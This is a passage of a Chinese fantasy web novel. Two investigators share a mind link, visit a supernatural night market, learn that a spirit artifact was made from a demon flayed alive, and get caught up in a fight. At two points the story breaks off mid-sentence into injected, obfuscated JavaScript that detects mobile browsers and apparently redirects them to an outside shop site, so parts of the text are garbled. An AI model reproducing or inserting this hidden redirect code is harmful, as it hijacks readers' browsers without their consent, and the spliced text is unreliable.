与此同时,周纬的一缕精神力顺着李默大开的识海长驱直入。 精神力入侵他人识海的感觉十分微妙,连周纬也是第一遭体验。他感觉自己的一缕意识刹那间落入了一片翻腾的云海般,四周都是看不到边际的缥缈雾气,心中不禁诧异道:“这就是李默的是识海么?” “周队。”就在此时,四周云雾微震,传来了李默的声音。 周纬忙道:“你怎么样?” “还好。”李默的声音道:“周队看得出破绽么?” 周纬睁开了自己现实中的眼睛,只见李默的维持着原本的姿势站在面前,脸侧颈部爬上了数道黑灰色的纹路,身上皮肤呈现出一张奇特的无机质感,肩背腰部微妙地更挺直了一些,就像弯不下腰似的,除此之外几乎没有其他变化。 周纬围着他转了一圈,托着下巴道:“我觉得没什么破绽。” 李默:“那就好。” 周纬:“!!!” 他这一句话出口,却把周纬骤然吓了一跳——他突然发现李默说这句话的时候居然没张口! 那声音是直接响起在他的脑子里的! 周纬这边心思一动,李默那边立马也听到了,愕然地蹦出了一句:“什么?” 这句话还是没张口! 不仅他没开口,周纬自己刚才也一句话没说,他只是在脑子里转了一瞬这个念头,居然也被李默听到了! 周纬终于发现了傀儡符这个鬼点子的bug——这玩意儿居然还能让人心灵相通! 其实这是正常的。傀儡符贴在死物上,需要傀儡师以精神力指挥其行动,而若是贴在活人身上,需将其识海摧毁、神识覆灭,之后自然也能顺利接管其身体,让傀儡随心而动。 既然要“随心而动”,自然要心意相通。反正死物和活死人都没有神识,通也只是通了一头。 然而到了李默这儿,却是个货真价实的活人,因为他这百无禁忌、胆大包天的想法,这古往今来都是一头热的剃头挑子居然被他两头都烧起来了! 想通了这一点,立马感到崩溃的居然不是李默,而是周纬。 周纬的思绪历来宛如布朗运动的弧线,行踪诡异缥缈找不到落点,平时嘴上没个把门的,那真是梦到哪句说哪句。此刻骤然发现自己竟然跟李默“心意相通”,此人第一反应居然是——完蛋,我不干净了! 紧接着就是一段乱七八糟的思绪跟吃了菌子似的冒了出来:老天爷啊我大好年好云英未嫁守身如玉贤良淑德从未与男子有染没想到今天失身于此天理何在我不活了…… 李默:“……” 他被迫听了这么一通神鬼莫测的胡言乱语,只觉得识海都要裂开了,忍无可忍地低喝一声:“闭嘴!” 刹那间,识海巨震! 周纬的思绪戛然而止。他留在李默识海里的那一缕精神力陡然震颤起来,只见那四周翻滚不息的云海突然一变,云雾骤然剧烈翻腾凝聚,竟形成了无数把刀剑的模样,对着周纬的精神力亮出了森然寒光! 整个识海转瞬间就变成了一座刀剑丛生的森罗地狱! 周纬霎时意识到了傀儡符的第二个bug——他的精神力进入李默识海,固然可以对他的神识造成伤害,可那里毕竟是人家的主场,李默同样可以反过来,对他的那一缕精神力反围绞杀! 周纬几乎是立刻就做出了决断,二话没说就伸手朝向了李默背上的那张傀儡符,要把这天杀的符纸揭下来。 然而就在此时,李默的声音再次在识海响起:“周队,等等。” 他的识海震动只有一瞬间,几乎是在下一刻,那些带着森罗寒光的凌厉刀剑散去,识海又恢复成了那副云海无边的静谧模样。李默的声音道:“周队,先别揭符。” 周纬的手一顿,心说:“你又有什么想法?” “心灵相通确实多有不便,但我们隐藏身份深入夜市,有许多话也确实不便明面上说。”李默道:“若能稍加限制,我倒觉得保留这个功能也不是坏事。” 他的本意其实是让周纬控制一下自己的思绪,别在他的识海里满脑子撒欢,没想到周纬听了他这话之后突然沉吟了一下,道了句:“有理。” 他借着道:“你既然能变出刀剑,能变出点别的什么吗?把我这一缕精神力关进去,咱们给彼此都留点空间。” 李默略一思索就明白了他的意思,不禁为这人的心思机敏赞叹一声。周纬只见面前识海再次风云涌动,无数云雾往他四周涌起,渐渐拔高,凝聚成型,很快在他眼前化成了一个看起来非常眼熟的房间…… 他无语了——怎么又是审讯室啊!你的想象力已经匮乏到这个程度了吗?! 李默在他的识海里原模原样地打造出了一个“审讯室”,将周纬的那一缕精神力放了进来。不仅如此,他还非常贴心地在审讯室里又“捏”出来了另一个自己。 这样两人就宛如回到了市局一般,外面的身体行动不受影响,识海里的两人还可以继续“面对面”交流,隐秘又方便,还不会泄露隐私,委实是个好主意。 周纬心念电转,立马想到如果以后异监局的监察员们出外勤,都能用傀儡符交流,那岂不是便利许多……然而紧接着他就自嘲地笑了一下,意识到了自己的异想天开。 就算这种方法再好,能像李默一样愿意大开识海任人进入的又有几个呢? 想到这里,他不自觉地心里一动,看向李默的眼神也多了几分变化。 傀儡符的问题解决了,两人就准备进入夜市。 只见周纬随便找了扇卫生间的隔间门,灵力灌注指尖,抬手在门上画了个符号。 赫然是一只燃烧着的蜡烛的形状。 然后就周纬一步上前,轻吸一口气,把那支画上去的蜡烛吹“灭”了。 刹那间,卫生间里的灯电压不稳似的闪了两下,骤然熄灭,整个空间顿时陷入了一片黑暗之中。 “吱呀”一声轻响,那扇画着蜡烛的隔间门无风自动,轻轻朝里打开了。 一阵阴冷的风顿时扑面而来。 周纬把那个鬼面具往自己脸上一扣,又从行李包里掏出来两件长斗篷:“走吧。” 两人推门而入,走入了一片全然黑暗的空间里。四下黑得伸手不见五指,根本分不清东南西北,不知朝哪个方向走了多久,才依稀看到眼前一点亮光。走到近前,才发现黑暗中竟然突兀地竖里起了一块巨大的牌坊。 那牌坊足有三丈高,巨大无比,石砌而成,看起来已不知经历过多少年岁。上面雕龙画凤,漆彩描金,上书“夜市”两个大字,古朴雍容,看着委实气势逼人。 牌坊下一左一右,立着男女两个小童,穿着古装梳着发髻,见有人来,齐声唱道:“前方夜市,凡人止步——” 这两句腔调真是又长又诡异,仔细一看,那两个小童竟然不是活人,是真正的木偶。制作者仿佛根本没用心似的,刀功粗糙简陋,小童的衣着服饰都只是草草削制而成,关节都裸露在外,五官更是粗制滥造,弄得这两个小童面貌僵硬又怪异,看着异常瘆人。 周纬一步上前,从怀里掏出来一小瓶灵砂,道:“我等欲入夜市,特请燃‘烛’。” 此言一出,两个傀儡小童的木头眼珠子轱辘一转,齐刷刷盯住周纬,紧接着肚皮“咔哒”一下弹开,他们从胸前的小暗门里掏出了一支短短的蜡烛,约摸手指粗细,颜色惨白,朝周纬递去。 白烛并未点燃,周纬也没接,反而拔开灵砂瓶口,小心地往两只烛芯上各倒了一点儿。只听“呼啦”一声,烛芯一遇到灵砂,骤然蹿起一点拇指高的小火苗,跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091606|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了几下稳住了。 两个小童再次齐声唱道:“灵砂一两,燃烛一个时辰——” 周纬这才道了声谢,接过了那两支白烛。那两个小童又各自从身后提了一盏旧灯笼出来,周纬将白烛放入其中,跟李默一人一盏提了,这才进入了那牌坊之内。 直到这时,识海审讯室里的,李默才面色复杂地对周纬开了口:“原来周队早就不止一次来过夜市了。” 周纬得意地对他“嘿嘿”一笑。 看他开门、入市、燃烛,一系列动作如此娴熟,李默哪里还不明白,此人分明就是个惯犯,难怪又是面具又是斗篷的准备得这么齐全。 也难为他竟然还为了探自己的口风,跑到自己面前来演了这么一出戏。 李默暗叹一声,发现自己实在是跟不上周纬这曲折离奇的思路,只好跟在他后面亦步亦趋,朝夜市里走去。 才过牌坊,就见眼前豁然开朗—— 牌坊里面,竟是一条长长的街市,赫然是古代坊市般模样。四周一片漆黑,唯有这条长街灯火通明,人声鼎沸。长街两旁全是各式各样的店铺,有的一看就阴森诡异,有的则是金碧辉煌高耸入云,形形色色不一而足,不少伙计在沿街叫卖,吆喝声此起彼伏。 长街上人头攒动,竟然十分热闹,只是各色往来人等模样皆一言难尽,有的丈二身高青面獠牙,有的三头六臂张牙舞爪,不知是用什么方式隐藏了形貌。相较起来,像周纬和李默这样,只是戴个面具 、穿件斗篷、还能勉强保持住人形的,简直可以说是十分没有创意了。 只是无论是开门迎客的店铺,还是熙来攘往的人群,店门前或人手里都有一支一模一样的白烛,烛光跃动,仿佛是他们在此间安身立命的唯一倚仗。 这就是夜市的奇异之处了。因为身处异空间,夜市之内永远都是一片漆黑,想要进入夜市的人,无论是在此开店做买卖,还是只是闲逛落脚,必得燃“烛”一支,方才算是得到了夜市“许可”,可以入内了。燃烛也无需其他,只需灵砂便可,开店的商贩另有租金,而临时进入夜市的,一两灵砂只能燃烛一个时辰,若想继续待在这里就得续添,委实贵得厉害。 因此非人世界里早有非议,说夜市之地才是真正明目张胆地抢钱。这里可谓字面意义上的呼吸都要烧钱,也不知那传闻中的“夜市之主”究竟富有到了什么地步。 “我听说最大的夜市就在首都雍京,有一百零八坊市,仿照古代长安的形制建造,可以容纳整整十万妖类。”识海里,周纬颇有兴趣的看着李默:“你去过吗?” 李默摇了摇头:“没有。” 他当然没去过。一来他是监察员,踏入夜市本就犯忌讳;二来他也没那个兴趣爱好白白给人家烧钱去。 “啧,”周纬失望道:“你也太无聊了,总部待了那么久居然都没想到要去一次。反正如果是我,高低得去见识见识。” 李默懒得跟他插科打诨,道:“我们已经进入了夜市,要查夔皮鼓,应从何处查起?” “既然是要查灵器,当然要是找卖灵器的地方。”周纬朝着李默挤眉弄眼道:“我知道个好地方,跟我来。” 夜市人太多太密,周纬怕两人走散,干脆一把抓住了李默的腕子,扯着他往人群里面钻。李默跟着他钻来钻去,也有意护着他,免得他被人群挤散了。两人七拐八绕的,渐渐远离了主街和喧闹的人群,不知怎的就拐进了一条幽暗阴森的小巷。 这条巷子也开着几家店铺,然而不知是不是因为地角不好,各家铺面都门可罗雀,丝毫不见一街之隔的那种热闹景象。就连店铺门前点着的蜡烛也一副萎靡不振的样子,仿佛一口气就能吹熄了似的。 周纬拉着李默到了一家店门前,只见那家店铺门面极其寒酸,青铜门框上飘着一块破布权当门帘,里面黑洞洞的,阴风阵阵,门前的白烛微弱得只剩下了黄豆粒大的灯光。店铺头顶上的青铜招牌已经锈蚀斑驳成了一片,只能勉强认出上面的“金山铺”几个字。 周纬找到了地方,也不打招呼,掀帘便入。只听两人刚刚抬脚入店的那一刹,头顶上突然传来一声响亮的“铛——” 两人都被这动静吓了一跳,抬头一看,原来是店内门口挂了个鸟笼,里面养了只青铜乌鸦,见人进店就“铛”地啄了一下鸟笼,然后扯着嗓子嘴巴大张,发出了一股指甲用力在黑板上划过般的声音:“有客来——” 周纬:“……” 他双手抱臂,一脸佩服仰起头来,跟那青铜乌鸦大眼瞪小眼:“弄这么个玩意儿在门口迎宾,是生怕生意太好顾客盈门吗?” “这是老朽闲来无事,铸造的一个小玩意儿而已,让客人见笑了。” 忽然,一股幽幽的声音飘了起来,周纬和李默顿时都起了一身鸡皮疙瘩,赶忙转身看向店内。 只见那店内柜台后面,缓缓转出一个人俩。那人一身古装,身高恐怕还不到一米五,干瘪枯瘦,头发秃得不剩几根,一双眼睛却大得像是要突出眼眶,整个人宛如一个风干过头的核桃,浑身上下全是衰老的褶子。 只见那“核桃精”上下打量了一番面前的两人,然后目光缓缓下移,挪到了周纬手腕上那串从不离身的黑色珠子上。 然后就听那人“嘿嘿”一笑。 “难怪小店连日来生意惨淡,原来是今日贵客临门。” 那店老板缓缓抬头,将目光挪到了周纬那张鬼面具上,接着极慢极慢地咧开嘴,露出了嘴里歪歪斜斜、四面漏风的几颗残齿黄牙: “没想到珑湖市异监局周队长大驾亲临,真是令小店……蓬荜生辉了。” 15. 血器 这句话一出,识海中的两人都是悚然一惊。 李默震惊道:“他认出你的身份了?” 周纬蹙眉不语。 李默显得有些紧张。监察员不得入夜市虽说不是明面上的规定,却是异监局和夜市双方心照不宣的潜规则。如果周纬真的被人在夜市揭开身份,还不知道要引起怎样的风波。 更何况这店老板是怎么把周纬认出来的? 周纬之前就曾暗中来过夜市多次,对怎么隐藏行迹很有心得。面具就不说了,他那件斗篷应该也是经过特殊炮制,虽非灵器,却自带一股异香,将他身上的气息严严实实地遮盖了过去。连李默这样嗅觉灵敏的妖类,站在周纬近侧都认不出他的气息,这店主人又是怎么识破的? 李默这边还在暗自心惊,却见对面周纬已经舒展了眉宇,镇定自若地一挥手:“不怕。” 李默:“?” 他看着坐在对面的周纬,疑惑的同时却又不由得暗暗佩服,心道不愧是监察队长,处变不惊,不说别的,但是这份气度和从容就足以令人心折。 然后就见周纬两手叉腰昂首挺胸,一脸骄傲道:“认出来了又怎么样?夜市不能动武,他还能打我不成?” 李默:“……” 他身子一歪,差点从椅子上跌下去。 他到底在对这人期待什么? 与此同时,店里的周纬果然有恃无恐起来,对着那装神弄鬼的店主人“嘿嘿”一笑,道:“这话我爱听,这么说我来这里买东西,是不是能打折?” 店主人:“……” 饶是这半人不鬼的店主人,对周纬这三尺厚的脸皮也是初闻乍见,阴测测的笑容差点有些维持不住,冷笑道:“就怕周队不是真心来光顾小店。” “你说对了,确实不是。”既然已经被人戳破了身份,周纬也就不再藏着掖着,大大方方摘了面具,在这小得几乎转不过身的店铺里转了一圈,勉强从角落里拖了个青铜凳子出来,先是用眼神表达了惨无人道的嫌弃,再用斗篷边狠狠擦了几下,这才屈尊坐了,翘起二郎腿,倨傲地一抬下巴,道:“唔,你们俩也坐吧。” 李默和店主人同时被他这幅喧宾夺主的做派噎得喘不上气来。 李默还记得自己“傀儡人偶”的人设,不敢轻易就座,默默地挪到周纬身后装哑巴。店主人本来想着戳穿周纬身份先下一城,却被周纬的态度激了个火冒三丈,压着火气道:“敢问周队大驾光临,又不为买卖,到底有何贵干?” “向你打听个事儿,不过这个先不忙。”周纬好整以暇道:“我先问你,我来这夜市的次数虽然不多,一年十几回总是有的,从来没被人发现过真实身份,你是怎么看出来的?” 识海里,李默震惊了:“周队,你竟然来过这么多次?” 周纬一摆手:“我扯淡的,诈一诈他。” 李默:“……” 他现在已经对这人的话一句都不敢信了。 店铺里,店主人听到周纬这句问话,火气这才平了三分,脸上重新挂起那种高深莫测的笑容来,道:“周队可知老朽这里是什么地方?” “知道,金山铺嘛,珑湖夜市里开得时间最长的灵器店。”周纬姿态悠然道:“你不是铸造灵器的黑匠人,你是个二道贩子。整个珑湖夜市里来路不明的灵器,有八成都得从你这里过一遍手。所以你的店根本不必开在主街上,来你这儿的都是熟客,也都见不得光。” 听了他这话,店主人不仅不以为忤,反而还像是受到了称誉似的,露出几分自满的神色来,道:“正是 。周队既然知道老朽是干什么的,自然也就该猜到自己是哪里露了破绽。‘灵晔’在前,别人可能认不出,老朽若是有眼无珠,岂不是砸了自己的招牌?” 说罢,朝着周纬手腕上那串黑色珠子“嘿嘿”一笑。 识海里,周纬轻轻地“啊”了一声:“大意了。” 李默看着他那串黑串珠:“我看周队一直将此物带在身上,原来也是一件灵器?” “对……它叫‘灵晔’,其实倒也不是多厉害的东西。”周纬一笑,道:“只是有点年头了,工艺比较特殊,难以仿制,别人也戴不了。我戴它已经戴习惯了,没想到居然因为这个暴露,真是阴沟里翻船。” 不过既然已经知道了暴露的原因,周纬也就放下心来,正色道:“敢问店主人怎么称呼?” “贱名不足挂齿。”店主人躬身施礼道:“承蒙各路朋友抬爱,称老朽一声‘金老’即可。” “金老。”周纬从善如流道:“我这次来,确实是为追查一件灵器,名叫夔皮鼓,B级。这灵器是件‘黑货’,查不到出处来源,所以想问问金老这边有没有消息。放心,夜市和异监局井水不犯河水,我不会追究这件灵器是谁铸造、由谁经手的,只查是谁拿着它在人世行凶作恶,绝不过多牵扯。” 这意思就是说,哪怕这件夔皮鼓就是你卖给那个行凶者的,我也不会抓你,放心好了。 然而听了这话,金老脸上却没露出多少放松的神色,反而深叹一声,道:“周队过问,老朽不敢不答。只是这件夔皮鼓何人作制、所售、所买,老朽确不知情。” 周纬皱眉道:“就算不是从您这里出手,难道一点消息都没有么?” “没有。”金老摇头道:“说来惭愧,周队刚刚所说,珑湖夜市有八成灵器都要过老朽之手,此事已是明日黄花。如今老朽万万不敢如此吹嘘,这夜市上灵器的来龙去脉,早不在老朽掌中了。” 识海里,周纬和李默同时听出了金老的话外之音,李默皱眉道:“他的意思是,夜市上不知何时多出了一大批来源不明、去向不明的灵器?!” 周纬的脸色不太好看:“要真是这样,那就麻烦了。” 灵器这东西毕竟受异监局管制,有少数在暗地里流通可以理解,但如果出现大批“黑货”……是哪里开了口子? 这批货是什么时候流入市面上的?数量有多少?什么等级?背后操纵和获利的又是什么人? 按照金老这个说法,真要查下去……搞不好会挖出一桩大案子。 想到这里,周纬也再没了玩闹的心思,站起身来,对着面前的金老道:“金老,我虽知异监局和夜市互不干涉,却也不能放着眼前的案件不管。若真如您所说,珑湖市有这样一批黑货留存,不说扰乱人类和非人两界秩序,异监局更是大大的失职。此时周某责无旁贷,必得追查到底,还望金老能不吝援手,若能有任何线索,周某必有重谢。” 说罢,竟也像刚刚金老一样,拱手深施一礼,久久未起身。 身后李默也同样施礼拜身。 然而面前金老却一闪身,未受这两人的礼,两道轻柔的妖力将两人扶了起来,道:“行礼大可不必,周队,老朽只有一问。你刚刚所说‘必得追查到底’,此话当真?” 周纬一听就是有门,立马双眼一亮,道:“自然当真。” 金老却是不信:“就算周队自己有心追查,却未见得能够代表整个异监局。” “异监局的职责是维护人世稳定与两界平衡,自然也要对灵器流通严格管控,为何不查?”周纬皱眉道:“金老有何疑虑,不妨直说。” 金老却垂眸不答。 店内沉默片刻,直到周纬终于再次打破寂静:“金老若实在不信,我可以立下‘血誓’。” 李默和金老同时悚然而惊。 识海内,李默猛地一把按住了周纬的手腕:“周队,不可!” 周纬却轻轻挣脱了他,对着金老肃然道:“周某愿不惜代价追查此案,粉身碎骨在所不辞。若有一丝退却之意,血誓见证,周某肉身与魂魄,从此皆听凭金老差遣。如此,金老可信我?” 金老苍老干瘪的脸上终于掠过一丝动容。 “血誓”根本不是一种誓言,而是一种诅咒。因为“誓言”是要双方同时立下誓约才算成立,而“血誓”这玩意儿毫不伤人,专门伤己,且绝无破解逃脱之法。按照周纬的说法,一旦立下血誓,如果他不能将这起案子彻查到底,他的□□和灵魂就将永远成为金老的奴隶。这岂止是断了自己的退路,这根本是连生生世世都搭进去了。 听到周纬这么说,金老终于长叹一声:“‘血誓’却是不必,周队能这么说,足见决心。还望周队见谅,此事老朽确实不敢轻信异监局,个中内情,周队一听便知。” 周纬一听他肯松口,立马喜道:“金老请说。” “其实内情从这灵器名上便可知一二。”金老拖长了腔调,一字一句道:“‘夔、皮、鼓’——周队难道想不到什么吗?” “夔皮鼓……夔皮鼓……”周纬将这三个字在舌尖滚过三遭,眼睛缓缓睁大了:“等等……你的意思不会是……” 金老掀起眼皮上那层层叠叠的褶子,拖声缓道:“任何灵器,都是要有原料的。” 识海内,周纬猛地抬头看向李默。 李默从刚刚金老说出那句话时便僵在了原地,眼睛愣愣地睁着,神情像是还没反应过来,手却先不由自主地轻颤了一下。 他带着几分茫然地看向周纬:“他的意思是,那件灵器的原料,是夔妖的……皮么?” 可是如今绝大部分妖类强制化形,早已失了原身,哪来的妖皮? 周纬指尖抽动,随后猛地攥紧了。 有办法的。 能让妖类褪去人形,还原成妖身的办法只有一个——那就是在他们濒死的时刻。 妖类的死亡与人类不同,濒死之际将会恢复成原身,死后身体消散,化为灵力返归天地,除了一颗妖力凝聚而成的妖核,其他什么都不会剩下。人们说,这是妖类寿命悠长,过度向天地索取灵气的代价。 因此,若想要取皮制器,必须将一只夔妖打到奄奄一息,令他恢复妖身,但又要吊着他的一口气不死,然后……生剥其皮。 途中万不可令其死亡,否则妖类一死,妖身立刻消散,功亏一篑。 需得让其活着承受剥皮之苦,直到皮肉分离,再下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周纬止步回头,就见那金老半身隐没在黑暗的店铺里,苍老丑陋、干瘪不堪,却身姿挺直,形容肃然,开口道:“此事老朽所知已久,从未上报,确有隐瞒之责。老朽长居夜市,已百年未见天光,若周队确能缉拿幕后黑手,凶犯伏法之日,周队可遣人送来灵枷一副,老朽甘之受之,绝不逃匿推辞。” 说罢,躬身长拜不起。 周纬站在门口,门外摇曳的白烛灯光给他浑身镀上了一层朦胧的轮廓。他冷冷地看了那老妖一眼,随后摆了摆手,一言不发地离开了。 他们两人一前一后出了金山铺,回到了主街上,一路上都在沉默着。 而此时在识海里,李默一挥手挥散了审讯室,起身作势要走。 “李默!” 周纬再次陷入翻腾云海,然而他立刻就发现,此时周边云海滚滚,恍如怒涛,显然主人内心并不平静,只是在极力压抑克制着。 李默的精神体还未消散,周纬慌忙拦住他,道:“李默,你先别生气。” 李默还是沉着脸不说话,转过身去不想看他,只是周边云海翻滚得更厉害了,像是沸水似的。 周纬试图绕到他前面:“你先冷静点,这事又不是没有办法……” 李默心烦意乱,这时只想自己待着,却又不敢强行把周纬这一缕精神力驱逐出去,只觉得怒气上涌压制不住,四面云海甚至隐隐有变红的趋势。 周纬不依不饶地在他面前喋喋不休:“我不是说了这案子我一定会追查到底……” 这话终于把李默压抑的怒气点着了,他脚步猝然一顿,转身居高临下地看着周纬,冷笑道:“怎么,周队也要对我‘立血誓’么?” 周纬猛地愣住了。 他的眼睛睁得大大的,表情像是难以置信,呆呆地看着李默。李默几乎是话一出口就后悔了,对上周纬的眼神,霎时间恨不得抬手扇自己一巴掌,把刚才那句话怎么出口的怎么扇回去。 他想,我这是干什么呢? 那些妖类又不是周纬杀的,人家还誓言要破案追凶……这么不分青红皂白地迁怒,像话吗? 太难看了。 他深吸一口气,周围的云海刹那间平静下来。这回是真真正正收敛了怒火,恢复成了原本宁静悠远的模样。 李默开口:“周队,抱歉,我……” 周纬一步跨出,抬手一把捂住了他的嘴唇。 李默双眼猝然大睁。 他的身高要比周纬高半个头,周纬几乎是冲过来的,为了捂他的嘴直接踮起了脚,整个身子都朝他倾斜了过来。两人距离不足咫尺,巨大的冲力让李默猝不及防之下忍不住趔趄倒退,一把揽住了周纬的腰。 与此同时,现实夜市中的主街上,呆愣住的周纬终于回过神来,冲着眼前熙熙攘攘的人群,脱口厉喝一声: “薛青青!!!” 数米之外,人群之中。 一个头戴藤萝面具,留着长长的麻花辫,辫尾上别着一枚粉色“hello Kitty”发卡的青衣少女蓦然回头。 16. 动武 其实在那一瞬间,周纬并没有意识到自己看到了什么。 只是常年的监察员生涯,已经让他养成了异于常人的直觉,有的时候直觉已经飞出去了,他的思维还在后面追,这才导致他看到那只在人群中一闪而过的发卡时,呆愣了片刻。 等他反应过来自己看到了什么,整个人顿时汗毛都炸起来了,脱口而出道:“薛青青!” 那女孩居然真的应声回头了! 喊叫者脱口而出,应声者全无防备,两人隔着摩肩接踵、熙熙攘攘的人群四目一对,刹那间同时幡然醒悟——不好,露馅了! 紧接着,那女孩猛地反应过来,掉头就跑! 周纬下意识地大喊一声:“别跑!” 只是话一出口,他就意思到自己说了句蠢话。这种情况下还不跑,等着过年吗? 而此时,刚刚还跟在他身后的李默已经不见了。 薛青青回头的一瞬间,李默就已经捕获了她的气息,此刻追击出去,密集的人流竟然几乎没能给他造成任何阻碍。只见他的身形鬼魅一样在人群之中闪烁穿梭,不过数息就已经到了薛青青身后,伸手抓向她的肩膀,开口道:“等等。” 然而就在他即将抓住薛青青肩头的一刹那,一根藤蔓突然灵蛇似从女孩身前的探出,尖锐尾端利箭一样,倏然刺向李默的眼睛! 李默闪身一让,藤蔓以差之毫厘地擦着他的前胸掠过,与此同时他手腕一翻,继续去抓薛青青;而薛青青却头也不回,身体柔若无骨一般向后仰倒,李默的手指擦过她的肩膀碰到了她的面颊,指尖顺势一屈—— 少女游鱼一样地从李默的掌下“滑”了出去,跃出几步回身抬头,面无表情地摸了摸自己的脸。 她戴的那张藤萝面具摇摇晃晃地挂在了李默的指尖上。 与此同时,周围人“呼啦”一下,让出了一个大圈,惊骇莫名地看着圈内两人。 什么人这么胆大包天,敢在夜市里动武?! 只是好巧不巧,人群这一退,却刚好把周纬隔在了外面。他的速度不如李默,又被层层叠叠的围观者一拦,顿时跟李默拉开了距离,急得他在识海中一把拽住李默道:“别跟她打!” 然而李默蹙眉道:“怕不是我想打。” 果然,识海里他这边话音未落,那边薛青青已经双手一抖,袖子中钻出无数藤蔓,铺天盖地地朝李默涌来。 这小姑娘也不知道吃什么长的,完全听不进人话,夜市的规矩全不在她眼里,众目睽睽之下竟然就要动起手来! 李默面色一凝。然而还不见他这边有什么动作,薛青青放出的藤蔓就像卡带了似的,突兀地“定”在了空中,紧接着毫无征兆地突然全部委顿在地;与此同时,薛青青那边骤然发出了一声凄厉的惨叫。 只见她腰间挂着一只小藤篓,一直将那作为夜市“通行证”的白烛放在其间。那白烛以灵砂为燃料,平时怎么跑动颠晃都不会熄灭,亦不会引燃其他东西,哪怕揣在怀里都无不可——此刻却骤然火光大涨,从薛青青腰间的藤篓里蹿了出来,凭空幻化成数条咆哮的白色火龙,怒吼一声向薛青青喷出了熊熊烈焰! 无视夜市规则,"通行证"立刻反噬,露出了狰狞獠牙。 薛青青是藤妖,火之一系最是克她,那白烛火龙幻化成几条绳子,将她结结实实捆缚了起来,她整个人都在灼目火光中挣扎哀嚎,数息之间气息就委顿下去,眼看着再被烧上一时半刻,都不一定还有命在。 然而紧接着,围观人群却再度哗然——只见刚刚还在与那藤妖对峙的“傀儡人偶”竟大步上前,猛然将手探入火龙之中,一把攥住了那白烛烛芯! 这“傀儡人偶”不是刚刚还在追打这小藤妖吗?怎么眨眼间又要救她了?! 白烛再受挑衅,刹那间火光大炽,紧接着就弃了薛青青,朝李默身上疯狂涌来。这回就连李默自己身上的白烛都发作起来,双倍的火光冲天而起,将他整个人都淹没在了里面! 识海里,李默闷哼一声,整个人身形一花,刹那间竟像是要消散一般。周纬一把撑住他:“你疯了!” 李默咬牙道:“不能让她死。” 识海内周纬急得跳脚;同一时刻,外面的周纬却猝然回头。 他被人群阻碍,看不到里面李默和薛青青的详细情形,却能更好地观察外围。此刻在他的视野里,一样东西自远处骤然逼近,直冲人群当中而来,近到眼前才发出一阵凄厉的啸声——那竟是一支破空而来的长箭! 长箭所指,正是薛青青! 薛青青刚从白烛火龙的灼烧中缓过一口气,整个人只有伏地喘息的力气,刚一回头,就看到那支呼啸长箭在她的眼中骤然放大—— 然后被一个高大的身影挡住了。 只见李默身上炽焰不熄,却还有力气挡在薛青青面前,面对着那湛蓝色的灵力长箭抬起右臂,毫无花哨的就是一拳轰出! 拳风箭矢正面相撞,同时轰然溃散!冲击波四溢,人群如麦穗般哗然倒伏下去。 识海里,周纬的手中猝然一空——李默的精神体消散了。 他承受着两根白烛的攻击,又正面挡下那长箭偷袭,在没有妖力加持的情况下,再强的人都抵挡不住。周纬四周云海前所未有地翻滚沸腾起来,这次不是带着怒意的咆哮,而是从四面八方都传来压抑着痛苦的无声哀嚎。 周纬猛地起身四顾,心脏像被什么东西攥紧了一样抽痛起来。 与此同时,不远处再次亮起了刺目白光——那是另一个人破坏夜市规则,被白烛火龙灼烧的信号。 这一切说来漫长,然而其实只在瞬息。周纬猛地攥住了自己衣服前襟,一口气堵在胸腔里,仿若窒息。 无数纷繁复杂的思绪刹那间涌入他的脑海——来路不明的大批黑货,杀生制器的幕后真凶,莫名出现在夜市的薛青青,偷袭的灵力长箭…… 还有,刚刚在眼前消失的李默…… 周纬豁然抬头,那在不远处亮起的一抹焰色像是点燃了他的眼睛。 他眉目间狠厉之色一掠而过,一抖手臂,攥住了手腕上的黑珠“灵晔”。 然后遽然凌空一抽! 刹那间灵晔珠脱腕而出,被他攥在掌心扬起在空中,爆发出了一阵猛烈的蓝紫电光!那串黑色长珠就在那暴烈雷光中骤然拉长、变化,变成了一条带着凶猛雷电的黑色长鞭,在空气中挥出一串“噼啪”爆响! 与此同时,天边似有雷霆应和,滚滚雷鸣当空而来,夜空中瞬间风雷涌动,骤然出现了一片电光森林!一道银蛇横过长空,轰然一声巨响,夜市万千群妖顿时一缩身,整条长街骤然矮了一截! 紧接着,只见一道闪电“咔嚓”劈下,当头劈中了远处那个被火龙缠绕的偷袭者! 那偷袭者本来是站在某座屋顶上,被雷一劈,顿时从房顶骨碌碌滚落下来。与此同时,周纬身边也“哗”地出现了一大片空地。 在夜市动武,自然要受白烛反噬。然而周纬手中白烛刚要蹿起火苗,只见周纬面无表情当空一挥,灵晔鞭带着电光闪过,竟直接把那是暴涨的火焰劈散了! 火龙竟无法成型! 周纬深吸口气,干脆连白烛都扔了,大步就要朝李默走过去。然而刚跨出一步,他的身形猝然站定,抬头望向上空。 他们这几人接连出手大闹夜市,终于惊动了夜市守卫。只见刚入市时站在牌坊之下的那一男一女两个木偶小童突然出现,矗立在夜市上空,身形迎风暴涨,变得足有丈高,长声喝道:“扰乱夜市者,此间受罚——” 他们在半空中一分为二,然后二分为四四分为八不断分裂,眨眼间就已经密密麻麻布满了整个夜空!刹那间千万个一模一样的木偶小童从半空中呼啸而下,同时冲向周纬、李默、薛青青和那偷袭者四人,只见得—— 轰! 一阵惊天动地的巨响过后,尘烟四起;片刻后滚滚烟雾消散,四个人竟然都不见了。 主街一片鸦雀无声,半晌之后,人群哗然沸腾。人人脸上都是震惊兴奋之色,骇然于竟有人敢于挑衅夜市规则,感慨自己竟有幸看到了这么大一场热闹,纷纷兴奋议论不提。 